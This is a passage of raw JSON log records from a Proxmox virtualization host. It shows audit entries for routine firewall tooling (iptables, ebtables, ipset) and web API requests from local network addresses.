a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=66465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.293:68766): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd4883f420 a1=557ebbcb4310 a2=557ebbcad680 a3=5 items=1 ppid=66038 pid=66039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965965.641:67859): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcf0e734a0 a1=580b36b0d1c0 a2=580b36aeb680 a3=5 items=1 ppid=65166 pid=65167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/images/logo-ceph.svg HTTP/1.1\" 200 2883"} {"@timestamp":1781966305817,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.817:69254): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964687671,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964275520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.520:60326): arch=c000003e syscall=59 success=yes exit=0 a0=57b4322aab60 a1=57b4322b6e80 a2=57b432284680 a3=5 items=2 ppid=57918 pid=57924 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638747,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964665100,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.100:62048): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966295744,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.744:69226): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5abf0a3b7e60 items=0 ppid=1156 pid=66464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966175196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.196:68748): arch=c000003e syscall=59 success=no exit=-2 a0=7ffccd85cb40 a1=6548a216e410 a2=6548a214c680 a3=5 items=1 ppid=66019 pid=66020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.932:67851): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/images/icon-sdn.svg HTTP/1.1\" 200 892"} {"@timestamp":1781966305814,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.814:69253): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964687671,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964275517,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.517:60325): arch=c000003e syscall=59 success=yes exit=0 a0=57b410a29ac8 a1=7ffd8c8b5040 a2=57b432284680 a3=57b410a0d24e items=2 ppid=57918 pid=57920 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638747,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 936"} {"@timestamp":1781964665095,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.095:62047): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966295741,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.741:69225): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966170.680:68738): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.932:67850): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/grid/sort_asc.png HTTP/1.1\" 200 18239"} {"@timestamp":1781966305813,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.813:69252): argc=1 a0=\"date\""} {"@timestamp":1781964687671,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964275516,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.516:60324): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8c8b5000 a1=57b4322a6200 a2=57b432284680 a3=5 items=2 ppid=57918 pid=57919 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965636732,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1084"} {"@timestamp":1781964665089,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.089:62046): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966295737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.737:69224): arch=c000003e syscall=59 success=yes exit=0 a0=5cac9d72dd70 a1=5cac9d739f80 a2=5cac9d707680 a3=5 items=2 ppid=66457 pid=66463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170680,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966170.680:68737): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.922:67848): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/button/default-toolbar-small-arrow.png HTTP/1.1\" 200 17341"} {"@timestamp":1781966305809,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.809:69250): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964684636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964275512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.512:60322): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57918 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965636732,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781964665083,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.083:62045): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.734:69223): arch=c000003e syscall=59 success=yes exit=0 a0=5cac87b11ac8 a1=7fffefcb4fc0 a2=5cac9d707680 a3=5cac87af524e items=2 ppid=66457 pid=66459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966170.675:68735): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965964922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965964.922:67847): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /pve2/ext6/theme-crisp/resources/images/shared/icon-warning.png HTTP/1.1\" 200 17717"} {"@timestamp":1781966305804,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.804:69249): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964684636,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:23 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964275505,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.505:60321): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13bae0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57917 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965636732,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964665079,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.079:62044): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966295734,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.734:69222): arch=c000003e syscall=59 success=yes exit=0 a0=7fffefcb4f80 a1=5cac9d729410 a2=5cac9d707680 a3=5 items=2 ppid=66457 pid=66458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966170675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966170.675:68734): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.914:67840): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"GET /api2/extjs/access/domains?_dc=1781964680029 HTTP/1.1\" 200 214"} {"@timestamp":1781966305798,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.798:69248): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964684636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964275498,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.498:60320): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57916 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965636732,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964665077,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.077:62043): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966295729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.729:69220): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66457 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.136:68730): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc2ec0ad60 a1=627b4a7b81c0 a2=627b4a796680 a3=5 items=1 ppid=66001 pid=66002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.914:67839): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:20 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 802"} {"@timestamp":1781966305791,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.791:69247): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964684636,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964275492,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.492:60319): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0d8af0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57915 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635734,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.076:62042): argc=1 a0=\"date\""} {"@timestamp":1781966295721,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.721:69219): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966166.008:68712): arch=c000003e syscall=59 success=no exit=-2 a0=7fff92d89a60 a1=5d9c6d734410 a2=5d9c6d712680 a3=5 items=1 ppid=65982 pid=65983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.908:67837): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964675676,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:14 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966305784,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.784:69246): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964683645,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:11:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964275485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.485:60318): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57914 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635734,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964665071,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.071:62040): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966295718,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.718:69218): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66455 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.660:68704): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965959908,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965959.908:67836): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964671644,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:10 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966305778,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.778:69245): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781964275478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964275.478:60317): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fd4f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57913 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965634213,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 915"} {"@timestamp":1781964665065,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.065:62039): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966295712,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.712:69217): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.660:68703): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.581:67831): arch=c000003e syscall=59 success=no exit=-2 a0=7ffff623d430 a1=652008a7e3d0 a2=652008a5c680 a3=5 items=1 ppid=65139 pid=65140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964667599,"@rawstring":"::ffff:192.168.1.157 - - [20/06/2026:15:11:07 +0100] \"POST /api2/extjs/access/ticket HTTP/1.1\" 200 77"} {"@timestamp":1781966305771,"@rawstring":"node=pve type=EXECVE msg=audit(1781966305.771:69244): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964680606,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:11:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964274915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964274.915:60316): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b8200 a1=64f8d740c940 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965634213,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781964665058,"@rawstring":"node=pve type=EXECVE msg=audit(1781964665.058:62038): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966295706,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.706:69216): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.646:68701): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=65975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965955473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965955.473:67813): arch=c000003e syscall=59 